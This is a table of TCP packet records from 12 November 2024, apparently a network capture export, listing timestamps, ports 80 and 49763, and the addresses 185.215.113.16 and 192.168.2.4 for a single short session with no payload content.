Nov 12, 2024 02:13:35.959372044 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.959403038 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.959408045 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.959419012 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.959427118 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.959433079 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.959440947 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.959445000 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.959455967 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.959466934 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.959496021 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:35.960197926 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.960207939 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:35.960247040 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.005824089 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.005914927 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.005928040 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.005939960 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.005950928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.005963087 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.005970955 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.005970955 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.005994081 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.006006002 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.075321913 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075335979 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075351000 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075368881 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075381041 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075393915 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075512886 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.075512886 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.075565100 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075578928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075614929 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.075634003 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.075648069 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075659037 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075689077 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.075820923 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075834036 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075845957 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075856924 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.075861931 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.075882912 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.075911999 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.076172113 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.076185942 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.076196909 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.076217890 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.076241970 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.076399088 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.076452971 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.076457024 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.076469898 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.076482058 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.076497078 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.076518059 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.076751947 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.076780081 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.076791048 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.076802969 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.076826096 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.119863033 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.119874954 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.120023966 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.122689009 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.122736931 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.122754097 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.122767925 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.122800112 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.122811079 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.122817039 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.122823000 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.122834921 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.122849941 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.122869968 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.192723036 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.192775011 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.192787886 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.192799091 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.192825079 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.192831993 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.192862034 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.192873955 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.192899942 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.192904949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.192915916 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.192939043 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.192950010 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.192960978 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.192972898 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.192994118 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.193008900 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.193171024 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.193212032 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.193231106 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.193244934 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.193255901 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.193278074 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.193296909 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.193489075 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.193500996 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.193542004 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.193592072 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.193615913 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.193627119 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.193636894 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.193645000 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.193664074 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.193686962 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.193950891 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.193970919 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.193981886 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.194001913 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.194011927 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.235948086 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.235961914 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.236030102 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.239682913 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.239701986 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.239717007 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.239736080 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.239765882 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.239768028 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.239779949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.239790916 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.239803076 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.239826918 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.239857912 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.310117006 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310131073 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310143948 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310156107 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310168982 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310188055 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.310214043 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.310527086 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310544968 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310560942 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310575008 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310576916 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.310586929 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310599089 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310605049 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.310612917 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310625076 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310633898 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.310637951 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310650110 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.310655117 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.310683966 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.310698032 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.311130047 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.311151028 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.311163902 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.311177015 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.311183929 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.311187983 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.311192036 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.311223984 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.356775999 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.356792927 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.356816053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.356828928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.356841087 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.356849909 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.356856108 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.356873035 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.356887102 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.356895924 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.356899023 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.356911898 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.356915951 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.356945992 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.356976032 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.426945925 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.426958084 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.426969051 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.426980972 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.426991940 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427005053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427020073 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.427047014 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.427341938 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427354097 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427365065 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427386045 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.427407980 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.427453041 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427464008 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427475929 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427499056 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.427511930 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.427642107 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427664042 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427679062 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427686930 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.427711010 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.427736044 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427747965 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.427782059 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.427793026 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.428133965 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.428143978 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.428157091 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.428168058 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.428179026 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.428183079 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.428205013 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.428225994 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.473928928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.473979950 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.473993063 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.473995924 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.474016905 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.474030972 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.474179029 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.474194050 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.474200964 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.474205971 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.474211931 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.474216938 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.474224091 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.474291086 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.543868065 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.543879032 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.543921947 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.543934107 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.543946028 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.543946028 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.543966055 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.543987989 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.544056892 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544086933 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544104099 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.544132948 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.544208050 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544234991 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544245958 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544246912 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.544270992 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.544397116 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544419050 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544441938 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.544464111 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.544482946 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544517040 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.544544935 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544560909 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544572115 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544586897 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.544614077 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.544828892 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544873953 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.544888020 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.544924021 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.544970036 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.545020103 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.545025110 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.545044899 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.545059919 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.545062065 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.545074940 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.545084000 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.545087099 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.545099974 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.545115948 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.545128107 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.591725111 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591738939 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591746092 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591758013 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591769934 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591787100 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591794014 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.591803074 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591815948 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591815948 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.591828108 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.591828108 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591839075 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591851950 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591855049 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.591862917 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591881990 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.591881990 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.591896057 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.591933012 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.660929918 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.660962105 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.660972118 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.660984039 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661020994 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.661045074 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.661396980 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661433935 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661454916 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661463022 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.661478043 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661494017 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.661516905 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.661597967 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661611080 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661623001 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661637068 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.661667109 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.661789894 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661802053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661829948 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.661957979 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661974907 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661987066 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.661998987 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.662007093 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.662010908 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.662026882 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.662050009 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.662311077 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.662355900 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.662369967 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.662383080 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.662405968 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.662424088 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.662436962 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.662450075 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.662472963 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.662497997 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.708005905 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708034992 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708053112 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708064079 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708112955 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708134890 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708137035 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.708148956 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708165884 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.708184958 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.708187103 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708199024 CET	80	49763	185.215.113.16	192.168.2.4
